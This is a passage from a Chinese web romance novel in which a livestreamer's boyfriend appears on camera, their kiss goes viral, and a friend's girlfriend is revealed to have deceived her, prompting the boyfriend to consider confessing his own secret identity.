祝闻声没说话,黑沉沉的眸扫过陶真,旋即又垂下,落在袋子上,似乎能够洞悉一切。 陶真不由自主地屏住了呼吸,心也随之高高提起,就在他以为祝闻声即将发现他藏在塑料袋最底下的东西时,青年却收回了目光,先他一步扫了脸:“我来就好。” “叮咚”一声,付款成功。 陶真的心重重地落了下去,紧张到忘了和像以往那样和祝闻声争夺一下到底是谁付款,提起袋子就同手同脚地走出了超市。 一路心惊胆战的回到家,趁着祝闻声不注意,他蹑手蹑脚地将那盒小东西塞进床头柜,这才终于呼出了一口气,去客厅与祝闻声一起收拾东西。 原先只有一个人的生活痕迹、略显空荡的家里,一下子就变得热闹了起来,渐渐被另外一个人所填满,这种感觉其实相当神奇。 玄关柜里突然出现了几双尺码大的鞋,洗手间里也多了另外一套洗漱用品。中午吃饭时,厨房的碗筷变得成双成对,端上桌的菜也不再是一人份…… 比起从前许久才能见一面,现在这种将私人领地划分一半给伴侣的行为,更让人有种脚踏实地在恋爱的感觉。 然而陶真还没来得及多体验一会,微信电话便突然被人打响了,是助理小鱼问他今天下午还开不开直播。 他猛地一拍脑袋,这才想起还有事没做,跟祝闻声说了一声后,便钻进房间打开了电脑。 “不好意思大家,今天家里有点事,所以迟到了,给大家赔罪……” 开播的瞬间,房间里就涌进来了上千号人,陶真熟门熟路地发放了红包,念着滚动的弹幕:“发生了什么事吗……嘿嘿。” 他没忍住笑了起来,想了想才道:“唔,好事。” 弹幕看出他浑身上下洋溢着的粉色泡泡,忍不住刷起了问号。 【别下架薄荷奶绿:???你不对劲!求细说到底是什么好事!】 【真摄情是真的:我猜这件好事肯定是跟摄影师先生见上面了,不然嘴巴怎么红红的?】 陶真一怔,下意识地摸了摸嘴唇,下一刻弹幕就疯狂刷了起来。 【真摄情是真的:果然被我说中了啊哈哈哈哈!!】 【真知棒全肯定:求细说!求细说!求细说!!】 陶真这才意识到自己被套话了,虽然祝闻声下嘴的确挺狠的,但到这个时间点,再肿的嘴唇也已经完全恢复了。 他的脸渐渐涨红了,含糊其辞地将这个话题带了过去,便开始跟往常并无二致的直播。凑热闹的CP粉们虽然有些遗憾,最终还是偃旗息鼓,众人开始你一言我一语地点歌。 唱歌原本就是一件很消耗体力的事,陶真又因为最近忙,好不容易才直播一次,所以被大家央求着多播一会,不知不觉中,他就在电脑前坐了好几个小时。 外面的天色渐渐暗了下来,再次唱完一首歌后,他只感觉肚子饿得咕咕直叫,刚想要跟以前一样先暂停直播,去外面随便搞点吃的,就忽然听见门口传来“咚咚”两道敲门声。 陶真转过头,只见祝闻声站在门口,手里端着一碗热气腾腾的汤面。 他有些愣住了,恍然想起自己现在已经不是一个人住,下意识地弯起唇:“你给我做的吗?” 这两句话一出,敏锐的观众们立刻发现了不对。 【来了来了!!嫂子来了!】 【谁给你做的?做了什么?拿来给尊贵的v30看看好吗?】 【我懂了~原来是这种好事~】 “嗯,面条比较快。” 见陶真没有拒绝,祝闻声才迈进房间,拉过一旁的边几,放下汤面。 陶真则眉眼弯弯地笑起来,也忘了自己还开着摄像头和麦克风了,声音甜滋滋的:“哇,好香好香!” “谢谢你呀阿声,你真好。” 祝闻声幽沉的黑眸中掠过浅淡笑意。 他没说话,只安静地坐在镜头外,打算等陶真吃完再帮他收拾餐具。 陶真当真是饿狠了,闻到香喷喷的面条连口水都要流下来,但就在他即将叉一筷子送进嘴巴之前,好像忽然想起了什么,冲祝闻声的方向直起身子: “快,你先吃第一口!” 金发少年眼睛亮晶晶的,清朗的声音放软了,又软又甜,近乎撒娇。 祝闻声心里仿佛闪过细小的电流,指尖也不自觉地攥紧,几乎下意识地要探出身去,却注意到了一旁的摄像头。 想起陶真似乎不太愿意跟人说他在这里的这件事,硬生生地坐了回去,只低声说:“没关系,外面还有。” 陶真却鼓起了脸,有些不赞同似的。 他下意识地想拖着电脑椅凑到祝闻声跟前,却没想到椅子的滑轮忽然一卡,连带着他整个人都一个踉跄,捧着的碗筷也险些飞出去:“唔!” 目睹了这一切的直播间观众都愣住了,有些不忍直视地眯起了眼,仿佛已经预料一片狼藉的场面,却没想到下一刻异变陡生: 一个高挑俊美的青年忽然入镜,反应极快地探身,宽肩窄腰的好身材将黑色薄毛衣撑得一分不多一分不少,露在外面的小臂青筋绷起,沿着骨骼一路往上。一手截住碗筷,另外一只手则揽住了陶真的腰肢。 他单手就将陶真抱起来了。 好歹也有一米七多的陶真几乎整个人都窝在他怀里,显得格外娇小。 陶真惊魂未定地吸了口凉气,乖乖地搂住那青年的脖颈,脸颊倚在饱满的胸肌上,溢出一点雪白的软肉,有点后悔地拧起眉:“对不起,我刚刚太蠢了……” 鲜美的汤头到底还是“嗤”地一下扑了出来,却只溅到了一旁的桌沿和地面。 青年却没有接受道歉,声音低磁:“不笨。有没有烫到手?” 陶真在他怀里乖乖地摇了摇头:“……没有。” 祝闻声这才嗯了一声,垂下眼,条件反射地在陶真的唇瓣上亲了一小口,发出了“啵”的一声轻响。 一切都发生在电光石火间。 等两人自然而然地分开,陶真跳下祝闻声的怀抱时,才发现摄像头忠实地记录下了刚刚的一切。 弹幕的刷屏已经快疯了,滚动到一个几乎看不清的程度,嘉年华也一个接着一个,跟不要钱一样冲了出来。 【啊啊啊啊啊啊啊啊!!!我的老天爷啊!!没有人跟我说过摄像师这么帅啊!!他跟真宝也太配了吧!!】 【我不中了,我要晕倒了,有没有人能懂一□□型差,我真的要蛇晕在直播间了……好适合抱草的一对小情侣……】 【你好,请做给我看,谢谢!】 陶真:“……” 这都是什么话! 这简直都是虎狼之词! 他忍不住瞪大了眼睛,脸也渐渐红了,刚想要为自己辩驳两句,就忽然看见屏幕变成了一片空白的蓝紫色,上面跳出来了一行大字: 【该主播因违反网络直播规范,暂时封禁直播间】 空气安静了下来,陶真差点两眼一黑晕了过去。 见金发少年脸红得像番茄,又一副欲哭无泪的模样,祝闻声也忍不住凑过去看了一眼屏幕。 一向波澜不惊的人这会儿也略微有些怔愣,过了好半天才道:“……抱歉。” 若不是他没忍住,大概,粉丝们就不会发那些话。 陶真的直播间,应该也不会被封了吧? 好半晌,陶真才回神,干巴巴地憋出了一句: “……没关系,这不怪你。” 不过不得不说,祝闻声真的是个亲亲怪。 两人的视线在空中交汇了一瞬,很快却又欲盖弥彰地挪开。自己私下里到底怎么样,和被旁人说出来,到底还是有本质区别的。 祝闻声在一旁拿抹布和湿纸巾来清理桌上的剩余汤汁,陶真则抱着碗,低头闷不作声地吃面条,气氛莫名有些尴尬却又相当和谐。 片刻后,一道电话铃声打破了这种氛围。 陶真放下了碗筷,盯着助理小鱼打来的电话,有点犹豫,似乎已经预料到那边女孩作为直播间管理的崩溃尖叫,咬了咬牙还是接了起来,率先道歉:“对不起小鱼!我也不知道直播间会被封,我……” “啊啊啊啊啊啊!陶真哥,你看软件了吗?” 小鱼尖叫,声音里含着点癫狂的笑意:“你的切片被疯转,刚刚冲上热搜了!!” “……”陶真懵了一瞬,“啊?” 他迅速打开小鱼发来的截图看了一眼,果然在热搜榜单里看见了熟悉的tag,一个是他的ID#主播真知棒#,另外一个则是他和祝闻声的CP,#真摄情#。 可来来回回看了几遍,他还是有些不可置信,自己打开软件去搜索了一下,才不得不承认小鱼说的都是真的,他的确上热搜了。 他和祝闻声刚刚那短短的十几秒视频被剪了下来,在CP超话里疯传。找那些姑娘们说的——体型差,旗鼓相当的过人容貌,以及那一刹那的动作和氛围感,简直好嗑到爆。 最后那个蜻蜓点水的亲亲甚至被做成了GIF动图,出现在了每条真摄情相关的视频图文里。 评论区的女孩们竟然还统一了口号: 【钱我们有,后续在哪里看?】 【我的CP同居了,你们的CP呢?】 “……” 陶真攥着手机,脸憋得通红,好像自己握着的不是手机,而是一个随时会爆炸的手榴弹:“她们,她们怎么这样啊?” 他忍不住抬起眼看向祝闻声,后者这会似乎也被这些骇人的言论吓到了,黑沉沉的目光一直落在那些产粮女孩的ID上,有些意味不明地重复了一次他的话:“是啊,她们怎么这样啊。” 陶真一怔,忽然意识到了一件事。 看见这些,祝闻声这个直男所受到的冲击,可能比自己还要强烈……他该不是打算把这些账号统统举报掉吧? 虽然觉得有些羞耻,但陶真心底里对这些一开始就支持他的粉丝们还是相当包容的,不是很想举报她们。反正他跟祝闻声也是真的,那就随便她们说呗,又少不了一两块肉。 想到这儿,陶真很快就冷静了下来,甚至反过来说服祝闻声:“不过其实也没、没什么关系,她们也是好心,你看这个……” 退出CPtag后,可以看见,陶真的私人tag也正在迅速攀升,刚刚还是四十一位,短短十几分钟的工夫就爬到了二十多位。不少粉丝都趁着这个机会在向对CP感兴趣的路人安利他,有几个手快的已经将他以往在网站上爆火的唱歌视频搬运了过来,点赞唰拉拉地往上涨。 靠着卖CP火到底不是条正道,很容易引起人反感,好在陶真本来就有上百万的粉丝,而且本人还相当有实力。有些质疑他的,在看见他直播过程中唱的那首法文歌后,便悻悻地闭上了嘴。 总而言之,虽然直播间被封了,可是陶真今天的热度却远超以往,只要打开后台,就能看见自己的粉丝数量噌噌的往上窜。 “嗯,确实。”祝闻声也表示赞同。他的视线定定地落在屏幕上,过了半晌不知想起了什么,忽然轻声说:“所以,之后还需不需要我出镜?” “……” 金发少年像是被雷劈了一下,骤然尬笑了两声,“啪”地一下摁灭了手机,脑海里仿佛有两个小人在激烈地打架。 好在祝闻声似乎只是随口一问,并没有执着于这个答案,很快就收拾好了卫生,让陶真去洗漱。 这一晚上兵荒马乱的,一不留神就到了这个点,况且明天是周一,还得回学校上早八……陶真匆匆平复了一下心情,暂时将这件事抛之脑后,便赶快进了浴室洗漱。 疲惫后知后觉地涌了上来,等祝闻声出来时,他已经窝在被子里睡着了,蓬松的金发软绵绵地搭在眉上,添了几分恬静稚气。 祝闻声轻手轻脚地走过去,盯着陶真的睡颜看了许久,才在他的额头上落下一吻。 …… 夜已深。 大部分人陷入沉眠时,仍有一小部分人活跃在网络上,鱼一样吐泡泡,在角落里掀起涟漪。 去年就被真摄情氛围感照片一举干趴的#真博士#tag里本来就已经没什么人了,这会又因为今天陶真直播时的视频又最后热闹了一次——不过,不同于真摄情那边喜气洋洋的热闹,这边的热闹,是在最后为真博士哀悼。 且不提真知棒了,原本真知棒人家就和摄影师是一对,是他们头铁,非要搞拉郎配。 可七博士呢?他一直以来立的可都是单身人设啊! 不知怎么地因家里的事情消失了一阵子,最近这些天回来的时候,不仅视频转型了,还宣布了自己早就已经有女朋友的消息…… 大家可以接受你有女朋友,但不能接受你明明有女朋友,还要立单身人设!粉丝们一时间没忍住,去七博士的视频底下又“鞭尸”了一顿。 而那些鞭尸的评论刷新了一下,就落入了齐戚的眼中。 齐戚忍不住叹了口气,有些难过地揉了揉眉心。他知道这件事是自己的不对,所以没有什么好为自己辩解的,只能勉强将心绪压下去,找点别的东西来转移注意力。 这一找,就不可避免地刷到众人所说的“真知棒的直播视频”。 这段时间他因为家里的事很少上网,都不知道陶真开了直播,这会手指一顿,有些好奇地点了进去,津津有味地看了起来,一边看,一边忍不住“卧槽”。 正打算笑着去调侃陶真一两句时,他的手机突然“嗡”地一振,收到了一条消息。 【向炎:老齐,在不?】 齐戚动作一顿,自从上一次他不愿意把陶真的联系方式直接发给向炎之后,向炎就对他有些生气。本来关系就算不上特别铁的两人之间产生了些许隔阂,已经许久没有说话了。 向炎怎么会突然在深夜跑过来联系他呢? 犹豫了一会,齐戚还是回复了:【在,咋了。】 【向炎:哎,是这样的,我想来跟你打声招呼。你之前劝我不要去勾搭陶真,的确是对的。我那个时候鬼迷了心窍,没听你的话,真是不好意思。】 原来是为了这件事啊。 齐戚挑眉,恐怕向炎也看见了今天陶真直播的视频,知道自己当时非要一意孤行地去追求人家、当“小三”到底有多傻,所以才会大半夜睡不着过来说这个吧? 齐戚有些啼笑皆非:【哎,我没事儿,你用不着跟我不好意思。要是真觉得过意不去的话就找陶真说一声,他人真挺好的,应该不会跟你计较。】 【向炎:哎……我知道,我当时就找他说过了。他也说自己不介意,甚至还把嘉年华的钱退给我了。】 【向炎:可是他不计较,不代表他男朋友不计较啊!天知道他男朋友是Z时代老板,祝家的少爷!我他妈真感觉自己天塌了,还好没真当撬墙角的小三,不然就直接等死好了。】 齐戚一怔,迷惑地睁大了眼:【不是,等等,你说陶真男朋友是我老板,祝家的少爷,那位太子爷?】 【向炎:是啊,不信的话你去搜一下这个。[图片]】 【向炎:我跟你说啊……】 齐戚咽了下口水,按照向炎的说法找到了陶真刚开始直播那天的录屏。 果然,在向日葵送出嘉年华、要求陶真唱《咱们结婚吧》之后,太子爷就出现了,默不作声地为陶真砸了十五万,点了一首旁人都不知道,少年却十分喜欢的曲子…… 脑海中,“摄影师”极为俊美矜贵的脸庞、惊人漂亮的身材,同那天惊鸿一瞥所看见的“太子爷”渐渐重合…… 齐戚闭了闭眼。 难道,陶真的男朋友,真的是那位太子爷? 50 ? 第 50 章 ◎“如果我也跟她一样,有事情瞒着你呢?”◎ 翌日醒来, 陶真神清气爽。 跟人同居、同床对他的影响不大,毕竟他一沾床就着,跟只小猪一样雷打不动, 一觉睡到了第二天早上。 不过一旁的祝闻声似乎并没有他的睡眠质量好。俊美的青年虽然神色如常,但眼下挂着浅浅的青黑, 整个人的神色都有些沉郁,好像憋着团邪火不知该往哪里发。 陶真在吃早饭的时候敏锐地注意到了,有点担忧地问: “阿声, 是我昨天晚上睡相不好跟你抢被子,还是打呼噜影响到你了?我怎么感觉你的状态不是很对……” 其实陶真睡觉的时候很乖, 顶着一头蓬松的金发躺在床上,当真像个洋娃娃一样乖巧。唯一的缺陷就是会将身侧的祝闻声当成一个大型抱枕,相当依恋地蹭过去。 祝闻声没法推开他,只能感觉到怀里的身体软绵绵的, 小肚子热乎乎的, 两条细长的白腿会无意识地缠上自己的腰肢。 这应该算是种奖励?但是就算怀里的少年再信赖再柔软, 祝闻声也知道自己不能那么畜生,没有越过雷池一步。 “不, 你没有影响我。” 祝闻声否认得极快,哪怕这种奖励也是一种变相的惩罚, 他也愿意痛并快乐着:“是我自己的问题,我前两天在曼城忙,还没完全把时差调回来。” “哦!原来是这样呀。” 陶真恍然大悟,见时间差不多了,便没有在这件事上过多纠结, 匆匆去学校上课。 直到进入教室坐下来, 和身边的贾嘉聊了几句, 他才后知后觉地回过味来,意识到不对劲——曼城又不是曼谷,哪里来的时差? 可是现在去找祝闻声“追责”未免有些太晚了,陶真知道他大概也是不想让自己担心才会这么说,心里有些微微的暖意,等自己今天的课上完之后,便照着祝闻声的课表,在教学楼等他。 这会儿正是三月头的初春,柳树抽枝,鸟雀啼鸣;嫩黄色的迎春花上缀着些许水露,招摇地开在人行道两侧;大笑着交谈的学生们络绎不绝。陶真深吸了一口清新怡人的空气,心情前所未有的好。 恰在这时,口袋里的手机突然嗡嗡一振,他下意识地以为是祝闻声给他发的消息,匆匆点开,却见联系人处明晃晃地写着两个字——齐戚。 【陶真!我终于忙完家里的事情回归了!】 【没在你一开始直播的时候就支持你真是不好意思,不过……你昨天的直播切片,我可是贡献了好多播放量呢~[小狗坏笑.jpg]】 陶真一怔,脸霎时热了起来。 昨天上的那个热搜的确为他带来了一波泼天的流量,可是也一举将他推到了“风口浪尖”之上。这不,一早上,他先是被贾嘉抓住衣领摇晃,又听顾行舟那家伙嚎了半天,更别提微信里那些熟悉或不熟悉的朋友了,回复得手抽筋……现在,连断网已久的齐戚都来了。 【真知棒:齐戚哥!我的直播间都被抬了,不知道要封三天还是一个星期呢,你怎么还笑我!】 【齐戚:啊哈哈哈哈哈哈对不起!!】 【齐戚:主要是你和你对象真的好配,你们俩这种颜值的情侣,别说吊打咱们网站那些情侣vlog博主了,就是去拍偶像剧也绰绰有余,上热搜是人之常情。】 陶真莞尔,知道齐戚是在安慰他放宽心,便发了条小狗鞠躬的表情包过去,敲敲打打着自己上热搜的感悟。只是这些字还没来得及敲完,他就见那头发来一段相当奇怪的话。 【齐戚:不过嘛,我知道的,像你男朋友那种阶级讲究隐私,肯定是不会和我们一样出镜搞自媒体的了。别说他家里的其他产业,就说他手底下的Z时代——这就够咱们这些普通人吃个十几辈子的了……】 等等。 什么家里的其他产业,什么手底下的Z时代? Z时代的老板不是那个大明王朝的朱太子爷么,和他男朋友祝闻声有什么关系? 祝闻声只是一个家境贫寒、靠双手双脚自己打出一片天地的MMA格斗选手而已,跟那种含着金汤匙出生的少爷有着本质上的区别—— 齐戚怎么会把他们两个认为是同一个人呢? 【真知棒:不是呀齐戚哥,你是不是记错了?我男朋友的确很厉害,但他就是一个靠自己的普通人,不是那位很有名的太子爷。】 这回轮到齐戚愣住了:【啊?是吗??】 【可是那天在体育馆现场看见你男朋友的时候,我就觉得他的气质很不一般,和我们当时在Z时代大会上看见的老板贼像!】 【而且昨天的时候,向日葵——向炎,他也跑过来跟我说,当时他鬼迷心窍地想去追你,结果他才投了一个嘉年华,太子爷就跑出来给你砸了十五万块钱,这……】 这可是十五万人民币,不是一笔小数目。 如果不是因为陶真很特殊,太子爷为什么只给他投,而没有分一个眼神给旗下的其他博主呢? “这……” 陶真也有些愣住了,脑海里像是被糊了一团雾,耳畔嗡嗡作响,一时间竟然没能想出什么辩驳齐戚的话。 他总不好说,因为他和祝闻声其实是包.养关系,太子爷这种级别的人物,不可能愿意被他一个小富二代包.养吧? 见陶真迟迟没有回复,齐戚似乎也意识到自己说多了,连忙找补: 【哎哟,当然了,你男朋友怎么样肯定是你自己最清楚了,我真是小说看多了,没事做在这儿瞎猜……别把我的话放心上哈!】 不远处响起了悠扬的铃声,安静的教学楼渐渐传来了踢踏的声响,楼梯口涌出了一帮三三两两挤在一块的学生。 一阵微凉的风吹过,柳枝翩翩起舞,陶真也终于回过神,挥散了心中那股有些微妙的情绪。 不会。 应该不可能吧? 如果,祝闻声真的是太子爷的话,怎么可能会同意自己的包养呢? 陶真抿了抿唇,打算等祝闻声出来的时候与他讲一讲这件事,可奇怪的是,本该和这些学生一块下楼的祝闻声半天也没出现。 直到这一大波人都走空了,空荡荡的教学楼里只剩下零星的身影时,陶真终于有些按捺不住,抬步上楼梯。 然而,才刚爬了几节,他就迎面撞上了从楼上下来的祝闻声:“诶,阿声,你怎么……” 见到陶真以后,祝闻声浑身一松,侧身,露出了一个跟在他身后、哭得梨花带雨的女孩,语气匆匆: “真宝,我刚要带她去找你——” 陶真定睛一看,那眼睛通红的女孩,竟然是他再熟悉不过的佟夏! “夏夏!”他一脸震惊地凑了过去,手忙脚乱地从口袋里翻手帕纸,“你怎么在这里?一个人过来的?不是……到底发生什么事情了?谁惹你哭成这样?” 陶真一如既往地没翻到纸,正要将自己的上衣脱下来给佟夏擦脸时,一旁的祝闻声往他掌心塞了一包。 他立刻借花献佛递给佟夏,佟夏抽噎着摇了摇手,示意自己掌心里还有:“我、我们能不能找个,没有人的地方说……” 陶真当然同意,考虑到佟夏现在的模样不适合去外面的餐厅或是公园,他便和祝闻声两人直接将她带回了家,在玄关处找了双没人穿的干净拖鞋给她,又让祝闻声去厨房间为她热杯牛奶。 这一路上佟夏的眼泪就没有停过,直到进陶真家门才稍微好了一些,她换上拖鞋,哆哆嗦嗦地接过祝闻声递来的牛奶喝了一口,勉强平复下了心情。 然而对上一脸担忧的陶真,她感觉到一阵委屈,又是鼻尖一酸:“呜……” 从小到大都受不了看见女孩子哭,陶真简直快给她跪下了,好半晌才将她哄好。 佟夏这会是真的平复下来了,深吸了一口气,有些艰涩地开口:“我和姗姗……不,江姗,是通过一次社团的聚会认识的……” 那种社团聚会和陶真以前参加的差不多,认识的不认识的一大帮都会去,所以鱼龙混杂。 佟夏在人群中一眼就看见了江姗,几乎被她迷得找不着北,呆呆地问身边的学姐她是谁。 那学姐顺着佟夏指的方向望过去,当即叹了口气,将那女孩谈了一个抠搜垃圾的凤凰男的事情尽数告诉了佟夏。 佟夏当下就鬼使神差地往江姗的方向走了过去。虽然她知道江姗的性取向和她并不一样,可实在是抵抗不住那种几乎一见钟情的战栗。 巧的是,江姗似乎也没有抗拒她的搭讪,听她支支吾吾地介绍完自己,就微笑着给了她联系方式。两人就此熟络了起来。 佟夏知道江姗不喜欢女人,所以甘愿当“舔狗”,以好闺蜜的身份跟她相处,从未想过自己会有和她在一起的一天。 可是接下来的事情发展众人也看见了,不知是不是“只要功夫深铁杵磨成针”,佟夏成功“掰弯”了江姗,两人自然而然地在一起,速度甚至比陶真他们还快。 佟夏一直以为自己是幸运的,幸福的,好不容易才追到了喜欢的人。 但是她没有想到,一次偶然的机会,她又参加了学姐组织的社团聚会,在饭桌上被学姐拉到了一边,指了指当时那个不小心谈到抠搜凤凰男的女孩。 “…哎,她你还记得吧?我之前跟你讲过的,那个贼拉倒霉的女孩,”学姐丝毫没有注意到一旁佟夏震惊的神色,滔滔不绝地说,“人家现在终于时来运转,和一个人挺好的男生在一块了,呐,身上就是那男生新给她买的蔻驰……” 后来学姐说了什么,佟夏已经完全记不清楚了,一整顿饭都吃得浑浑噩噩。 她只知道,从一开始她就搞错了,江姗根本就没有谈过“抠搜凤凰男”。 明明,在她和江姗相处的这么长时间以来,江姗有无数次机会,可以在她提起这件事时解释清楚,却偏偏一个字都没说。江姗只笑盈盈地应声,可怜巴巴地说自己以前犯蠢,被男人骗了,所以从此之后对男人封心锁爱。 这种事,往好了说,是暧昧中的心机。 坦白了说,就是赤.裸.裸的欺骗。 尽管这样,佟夏依然选择了说服自己,想要当面和江姗说清楚这件事。考虑到江姗的家在南城、最近正在家里给长辈过生日宴,她甚至都不愿意让江姗跑一趟,反而是自己买了机票飞过来。 发现江珊见到她时的确很惊喜,高兴和开心也不像是装出来的,佟夏心中好过了许多,便暂时将摊牌的念头推后,让江姗继续去宴会厅里忙碌,自己则在厅外的沙发上坐着,打算等宴会结束再说。 这一等,就等了许久。 她实在是受不了了,才去卫生间上了个厕所。 然而就在厕所门口,她意外碰见了跟弟弟聊天的江姗。 看不清她弟弟到底是什么神色,只能听见声音,语气好奇且试探:“……外面来的那个,是你交的女朋友?” 江姗轻哼了一声,声音有些冷淡,是佟夏从未听过的语气:“关你什么事?” “随便谈谈而已。” 随便谈谈而已。 怀揣着对恋人的期待,跨越了上千公里的距离,在宴会厅外面等待了半晌,她得到的,就是这一句,随便谈谈而已。 佟夏如遭雷击,傻傻地将这短短的六个字来回咀嚼了一遍,嘴里鲜血淋漓。 “如果真的不喜欢我,觉得同性恋很讨厌,直接拒绝我就好了,为什么要骗我,耍我?” “明明没有跟那种男人谈过恋爱,却在提起这件事的时候装出一副可怜的样子,是在期待我像狗一样摇尾巴逗她开心吗?” “为什么说很喜欢我,最喜欢我,最爱我,但是到别人面前,就只说自己是‘随便谈谈而已’?” “……” 好不容易压下去的情绪卷土重来,可这一次陶真却没有再开口劝佟夏不要哭泣,反而坐起身,轻轻地,将她的脑袋压到了自己的怀里。 她彻底绷不住了,放声大哭,滚烫的眼泪透过衣领,几乎浸湿了陶真的心。 陶真垂下眼,一下一下地轻拍着她的后背,终于等到女孩哭够了,声音沙哑地问:“……怎么办啊陶真。” “我是真的喜欢她……” 空气仿佛在一瞬间凝固了,四周安静下来。 女孩昨天一夜没睡,这会累困到了极点,陶真在祝闻声的帮助下将她抱到客卧,为她轻柔地擦了擦脸,这才小心翼翼地关上房门。 等出来之后,陶真闭了闭眼,完全忘了自己的事情,只深深地吐出了一口气,跟祝闻声说了一声,便抽出手机去阳台,给顾行舟打了个电话。 房间内一片死寂,只有祝闻声安静地站在原地。 他黑沉沉的瞳孔发颤,空攥了好几下手指,艰难地动了动唇,似乎想说些什么,却又无法开口。 他是不是,也算是骗了陶真? 明明他也有无数次可以解释清楚的机会,却硬生生拖到了现在,沉湎在虚假的身份当中,却真实地享受着陶真对他的付出,对他的好。 陶真会不会也和佟夏一样,会对他失望,会放弃他,会不要他? 祝闻声感觉自己浑身的血液都要凝结了,只要一想到那种可能,就有一种剧痛在心脏里流窜。 不知过了多久,外面的天色渐渐暗淡了下来。 口袋里的手机震了震,勉强将祝闻声唤醒,他凭借着本能拿出来看了一眼,下一刻却不由自主地怔住了。 …… 没多久,陶真也结束了和顾行舟的聊天,神色疲惫地关上了阳台的门。 屋里很暗,他伸手开了灯,发现祝闻声一直坐在沙发上,似乎有些欲言又止,他忍不住关切地问:“怎么啦?” 祝闻声张了张唇,还没来得及说话,大门就被敲响了。 他扭头看向门口,陶真也顺着他的视线方向望过去,有些怔住了。 顾行舟才刚刚接到消息,又不是能原地画圈传送的奇异博士,不可能立马就到。那么,敲门的人会是谁? 陶真有点不可置信,脑海中浮现了一个答案:“难道……?” 祝闻声站起身,黑眸沉沉:“要让她进来吗?” 陶真抿唇,忍不住看了一眼紧闭的客卧:“不。” 他固执地将屋内的隐蔽空间完全留给了沉睡中的佟夏,接着才匆匆拉着祝闻声一块出了大门。 来人果然是江姗,女人一袭精致华美的红裙已经全然不复光彩,向来连每一根头发丝都完好的大波浪这会儿也狼狈地搭在肩膀上,失去了弧度,脸上的妆也掉得差不多了。 说得难听些,现在的她,整个就是一只落水狗。 见陶真和祝闻声走出来,她抿了抿唇,有些不死心地往他们身后看了看,没有看见佟夏的影子,有些失望地垂下眼:“……对不起。” 陶真难得没有搭腔,不知是因为生气,还是不知该如何回应,祝闻声也沉默着。 “没有和夏夏坦白,骗了她,伤害她,是我的错,我没有任何狡辩的余地,”江姗的声音也有些微微的发颤,“我只想跟她道歉,用行动来弥补亏欠。” “还有……最后的那句话,真的不是我的本意。” “……” 四周安静,头顶昏黄的灯光有些暗淡。 江姗的模样属实是可怜,陶真的眉头拧着,忍不住闭了闭眼,回想起当时她与佟夏相处的点点滴滴,实在是不想相信,她对佟夏的温柔和照顾从头到尾都是装出来的。 但他不是佟夏本人,他怎么想没有用,只知道这么僵持下去不是个办法。 分手也好,继续在一起也好,都要佟夏本人来做决定。 无声地对峙了半天,最终还是陶真率先扭头打开了大门,对江姗道:“……你等一等吧,我问她愿不愿意出来。” 江姗仿佛看见了曙光,急切地冲陶真点点头:“谢谢!” 陶真进去了。 门外只剩下了江姗和祝闻声两人。 沉默片刻,祝闻声垂下眼,从口袋掏出手帕纸递给江姗:“擦擦吧。” 江姗低声道谢,接过来,用力地摁上自己的眼睛,纤细修长的十指青筋浮现,好半晌才开口:“我家重男轻女,我小时候差点被取名叫招娣。” “后来我弟出生了,我才没有叫这个名字,所有人都觉得我应该感激他,把家里所有的东西都留给他,并且成为一个合格的扶弟魔……但我不想这么做,我就是要跟他抢。” “可是无论我怎么抢,我好像都抢不过他。我真的已经很努力了,我什么都要做到第一,他们就是看不见我。他撞见我跟夏夏在一块了,一定会回去到他们面前告状,拿这件事堵我,”江姗的哽咽很低很低,“我……我真的没有别的办法了,才会那样说。” 空气静默。 祝闻声没说话,隔着两厘米的距离,轻轻拍了拍她的肩膀。 刹那间,江姗的眼泪像是再也止不住了,泣不成声地说:“……但其实她才是这个世界上对我最好的人。” “……” 祝闻声很轻很轻地说:“我懂。” 不需要江姗说,他比任何人都要明白。 屋内传来了一阵脚步声,在即将出来时又停下了,陶真和佟夏的交谈声相当朦胧。 江姗连忙擦了眼泪,站直身子,身体发颤地等着也许会出来的佟夏。 她的指尖深深地嵌进掌心,半晌才吐出了一口气,感觉到那片纸巾,抬眸看向祝闻声,双眼通红,仿佛在提醒他:“……一定要记得找个合适的时间坦白。” “千万,不要瞒着他。” “咔嚓”一声,大门打开。 佟夏脸色苍白地走了出来,和江姗两人面对面,不知说了些什么。 陶真犹豫了半秒,伸手将祝闻声拉了回来,轻轻地将门留了一小条缝,旋即便跟祝闻声一块远离了客厅,把外面的空间都留给了她们。 但他心底里还记挂着这件事,忍不住又叹了口气:“哎,真是不知道该怎么办了……” 两人挨挨挤挤地靠在一块,谁也没出声。 过了半晌,祝闻声忽然低声说: “……如果。” 扣着衣角发呆的陶真转过脸:“嗯?” 黑暗的卧室里,祝闻声垂下眼,那双幽沉的眸中闪烁着细碎的微光:“如果,我也跟她一样。” “有一些事情瞒着你呢?” 50-60 51 ? 第 51 章 ◎“我想跟陶真坦白。”◎ 三月的夜晚还有些许寒冷, 刹那间便不复白日的温暖和煦、阳光明媚。卧室内的窗户没有关好,寒风越过缝隙,掀起窗帘, 拍打在一侧的窗沿上,发出“砰砰”的声响。摇晃的树影映在墙壁上, 仿佛成了随时都有可能冲进来的鬼魅,颇为骇人。 周遭的气氛似乎凝固了,陶真也感到了一阵莫名的心悸, 片刻后才反应过来,往祝闻声的方向凑了凑, 弯起唇笑了一下: “我知道,看见夏夏和江姗之间出现问题,你也担心我们会变成这样,是不是?” 热恋中的小情侣都会有这样的顾虑, 也许是因为当下所拥有的感情太美好, 所以会不由自主地幻想失去后的场景。 尤其是在这种时刻, 有了朋友的“前车之鉴”,祝闻声出现这样的想法实在是正常的。 陶真刚刚其实也设身处地带入了佟夏的视角, 去理解她,共情她, 体会了她的痛苦和脆弱……所以,他知道这种感觉到底有多么难受。 他想了想,抬手摸上祝闻声的脸颊,宽慰道:“阿声,听我的, 咱们不要做这种假设……” 话音未落, 他的手背忽然被一只粗粝的大掌覆盖住。 祝闻声俯身靠了下来, 跌打损伤膏的药味混杂着浅淡的木香铺天盖地,在寂静无声的夜里带起一阵波澜:“如果,真的和她一样呢?” 这是祝闻声的第三次重复,他似乎真的很执着于一个答案。 陶真不说话了,似乎陷入了沉思。 白天时经历的各种事情如走马灯一般在脑海中播放,刚刚佟夏哭泣的模样也在脑海中一帧帧的重演,仿佛酸甜苦辣,五味杂陈。 若是欺骗的人变成了祝闻声,“随便谈谈而已”这几个字是从他口中说出来的……听解释,不听解释?介意,不介意?即使是向来能说会道的陶真,一时间也说不出个所以然来。 过了好半晌,他才张了张口:“其实……” 祝闻声抬起眼。 陶真抿了抿唇,郑重地说:“……我真的很讨厌被人骗。” 